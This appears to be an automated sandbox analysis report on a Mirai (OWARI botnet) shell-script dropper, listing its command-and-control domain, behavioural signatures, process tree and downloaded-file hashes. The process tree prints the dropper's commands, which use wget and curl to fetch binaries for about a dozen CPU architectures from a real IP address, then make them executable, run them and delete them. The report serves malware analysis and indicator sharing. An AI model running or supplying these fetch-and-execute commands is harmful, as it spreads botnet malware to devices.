Analysis

  • max time kernel
    137s
  • max time network
    99s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    19/05/2026, 02:13

General

  • Target
    ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2.sh
  • Size 1KB
  • Sample260519-cnpcgae18w
  • SHA256 ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Extracted

Family
  • mirai

Botnet
  • OWARI

Extracted

Family
  • mirai

Botnet
  • OWARI

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 47 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2.sh
    /tmp/ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2.sh
    1⤵
    • Executes dropped EXE
    PID:717
    • /usr/bin/wget
      wget http://87.121.79.193/upperarm
      2⤵
      • Writes file to tmp directory
      PID:721
    • /usr/bin/curl
      curl -O http://87.121.79.193/upperarm
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:735
    • /bin/chmod
      chmod +x upperarm
      2⤵
      • File and Directory Permissions Modification
      PID:742
    • /tmp/upperarm
      ./upperarm cpanel
      2⤵
        PID:743
      • /bin/rm
        rm -rf upperarm
        2⤵
          PID:745
        • /bin/rm
          rm -rf "upperarm.*"
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://87.121.79.193/upperarm5
            2⤵
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://87.121.79.193/upperarm5
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod +x upperarm5
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/upperarm5
            ./upperarm5 cpanel
            2⤵
              PID:751
            • /bin/rm
              rm -rf upperarm5
              2⤵
                PID:753
              • /bin/rm
                rm -rf "upperarm5.*"
                2⤵
                  PID:754
                • /usr/bin/wget
                  wget http://87.121.79.193/upperarm6
                  2⤵
                  • Writes file to tmp directory
                  PID:755
                • /usr/bin/curl
                  curl -O http://87.121.79.193/upperarm6
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:756
                • /bin/chmod
                  chmod +x upperarm6
                  2⤵
                  • File and Directory Permissions Modification
                  PID:757
                • /tmp/upperarm6
                  ./upperarm6 cpanel
                  2⤵
                    PID:758
                  • /bin/rm
                    rm -rf upperarm6
                    2⤵
                      PID:760
                    • /bin/rm
                      rm -rf "upperarm6.*"
                      2⤵
                        PID:761
                      • /usr/bin/wget
                        wget http://87.121.79.193/upperarm7
                        2⤵
                        • Writes file to tmp directory
                        PID:762
                      • /usr/bin/curl
                        curl -O http://87.121.79.193/upperarm7
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:765
                      • /bin/chmod
                        chmod +x upperarm7
                        2⤵
                        • File and Directory Permissions Modification
                        PID:776
                      • /tmp/upperarm7
                        ./upperarm7 cpanel
                        2⤵
                          PID:777
                        • /bin/rm
                          rm -rf upperarm7
                          2⤵
                            PID:781
                          • /bin/rm
                            rm -rf "upperarm7.*"
                            2⤵
                              PID:782
                            • /usr/bin/wget
                              wget http://87.121.79.193/upperm68k
                              2⤵
                              • Writes file to tmp directory
                              PID:783
                            • /usr/bin/curl
                              curl -O http://87.121.79.193/upperm68k
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:789
                            • /bin/chmod
                              chmod +x upperm68k
                              2⤵
                              • File and Directory Permissions Modification
                              PID:798
                            • /tmp/upperm68k
                              ./upperm68k cpanel
                              2⤵
                                PID:799
                              • /bin/rm
                                rm -rf upperm68k
                                2⤵
                                  PID:802
                                • /bin/rm
                                  rm -rf "upperm68k.*"
                                  2⤵
                                    PID:804
                                  • /usr/bin/wget
                                    wget http://87.121.79.193/uppermips
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:805
                                  • /usr/bin/curl
                                    curl -O http://87.121.79.193/uppermips
                                    2⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:816
                                  • /bin/chmod
                                    chmod +x uppermips
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:822
                                  • /tmp/uppermips
                                    ./uppermips cpanel
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:823
                                  • /bin/rm
                                    rm -rf uppermips
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:826
                                  • /bin/rm
                                    rm -rf "uppermips.*"
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:827
                                  • /usr/bin/wget
                                    wget http://87.121.79.193/uppermpsl
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:828
                                  • /usr/bin/curl
                                    curl -O http://87.121.79.193/uppermpsl
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:829
                                  • /bin/chmod
                                    chmod +x uppermpsl
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:830
                                  • /tmp/uppermpsl
                                    ./uppermpsl cpanel
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:831
                                  • /bin/rm
                                    rm -rf uppermpsl
                                    2⤵
                                      PID:835
                                    • /bin/rm
                                      rm -rf "uppermpsl.*"
                                      2⤵
                                        PID:838
                                      • /usr/bin/wget
                                        wget http://87.121.79.193/upperppc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:839
                                      • /usr/bin/curl
                                        curl -O http://87.121.79.193/upperppc
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:840
                                      • /bin/chmod
                                        chmod +x upperppc
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:841
                                      • /tmp/upperppc
                                        ./upperppc cpanel
                                        2⤵
                                          PID:842
                                        • /bin/rm
                                          rm -rf upperppc
                                          2⤵
                                            PID:844
                                          • /bin/rm
                                            rm -rf "upperppc.*"
                                            2⤵
                                              PID:845
                                            • /usr/bin/wget
                                              wget http://87.121.79.193/uppersh4
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:846
                                            • /usr/bin/curl
                                              curl -O http://87.121.79.193/uppersh4
                                              2⤵
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:851
                                            • /bin/chmod
                                              chmod +x uppersh4
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:861
                                            • /tmp/uppersh4
                                              ./uppersh4 cpanel
                                              2⤵
                                                PID:862
                                              • /bin/rm
                                                rm -rf uppersh4
                                                2⤵
                                                  PID:865
                                                • /bin/rm
                                                  rm -rf "uppersh4.*"
                                                  2⤵
                                                    PID:866
                                                  • /usr/bin/wget
                                                    wget http://87.121.79.193/upperspc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:868
                                                  • /usr/bin/curl
                                                    curl -O http://87.121.79.193/upperspc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:877
                                                  • /bin/chmod
                                                    chmod +x upperspc
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:885
                                                  • /tmp/upperspc
                                                    ./upperspc cpanel
                                                    2⤵
                                                      PID:887
                                                    • /bin/rm
                                                      rm -rf upperspc
                                                      2⤵
                                                        PID:889
                                                      • /bin/rm
                                                        rm -rf "upperspc.*"
                                                        2⤵
                                                          PID:890
                                                        • /usr/bin/wget
                                                          wget http://87.121.79.193/upperx64
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:892
                                                        • /usr/bin/curl
                                                          curl -O http://87.121.79.193/upperx64
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:894
                                                        • /bin/chmod
                                                          chmod +x upperx64
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:897
                                                        • /tmp/upperx64
                                                          ./upperx64 cpanel
                                                          2⤵
                                                            PID:898
                                                          • /bin/rm
                                                            rm -rf upperx64
                                                            2⤵
                                                              PID:900
                                                            • /bin/rm
                                                              rm -rf "upperx64.*"
                                                              2⤵
                                                                PID:901
                                                              • /usr/bin/wget
                                                                wget http://87.121.79.193/upperx86
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:902
                                                              • /usr/bin/curl
                                                                curl -O http://87.121.79.193/upperx86
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:903
                                                              • /bin/chmod
                                                                chmod +x upperx86
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:904
                                                              • /tmp/upperx86
                                                                ./upperx86 cpanel
                                                                2⤵
                                                                  PID:905
                                                                • /bin/rm
                                                                  rm -rf upperx86
                                                                  2⤵
                                                                    PID:907
                                                                  • /bin/rm
                                                                    rm -rf "upperx86.*"
                                                                    2⤵
                                                                      PID:908

                                                                  Network

                                                                        MITRE ATT&CK Enterprise v16

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        upperarm

                                                                        • Path /tmp/upperarm
                                                                        • Size 43KB
                                                                        • SHA256 3f15e1aa24c954d90a3d1be083796fdb4d2ec97747bd7f1443f568c7cd0a9569
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        upperarm5

                                                                        • Path /tmp/upperarm5
                                                                        • Size 36KB
                                                                        • SHA256 f869e1756e74e7d8f86424ddc1bb1bc2af4deec739376c43149963dcd620437d
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        upperarm6

                                                                        • Path /tmp/upperarm6
                                                                        • Size 53KB
                                                                        • SHA256 1a59b44271e873fbbbe7b142c598723725f3838aeb31ad2389f31eef6a5315fa
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        upperarm7

                                                                        • Path /tmp/upperarm7
                                                                        • Size 111KB
                                                                        • SHA256 be27d319f75643466bcfdbbfbd522616cd38771102dcd7af6bfe7a1b088228c6
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        upperm68k

                                                                        • Path /tmp/upperm68k
                                                                        • Size 42KB
                                                                        • SHA256 7cd1d037e07aae06ee395005504aaefa652d463ab3751609903f3a71aef8e7be
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        uppermips

                                                                        • Path /tmp/uppermips
                                                                        • Size 55KB
                                                                        • SHA256 cbbe7ef922e2127c492e4a0fcf56e198e330c964512c92bdd34ece7e08a6d2ce
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        uppermpsl

                                                                        • Path /tmp/uppermpsl
                                                                        • Size 57KB
                                                                        • SHA256 8c1a4551875c3178da248817353976b68d44174ecb9e73d9ded7c365bb2f6bfc
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        upperppc

                                                                        • Path /tmp/upperppc
                                                                        • Size 40KB
                                                                        • SHA256 6bc133276ca529863571f49aeea200ea88720827afd2c99450278473cc467c6e
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        uppersh4

                                                                        • Path /tmp/uppersh4
                                                                        • Size 38KB
                                                                        • SHA256 82b2d959f05dff769caf3609d40624c268940ea47181dcbc0ef1fe9e09f06dd2
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        upperspc

                                                                        • Path /tmp/upperspc
                                                                        • Size 45KB
                                                                        • SHA256 e5428a65be4c6471ee1d6de70cce489fa5319b7310a21ab8a3d9b8f3e44e7759
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        upperx64

                                                                        • Path /tmp/upperx64
                                                                        • Size 41KB
                                                                        • SHA256 382532451215dd8a3c5fa070ced106e02f3eceb33bb4ff20c1c3c1d800ed587a
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        upperx86

                                                                        • Path /tmp/upperx86
                                                                        • Size 38KB
                                                                        • SHA256 627cc90fa904cce1ef93c46100d9eefe326674263a4aeb95ceb61f3be5788c9d
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH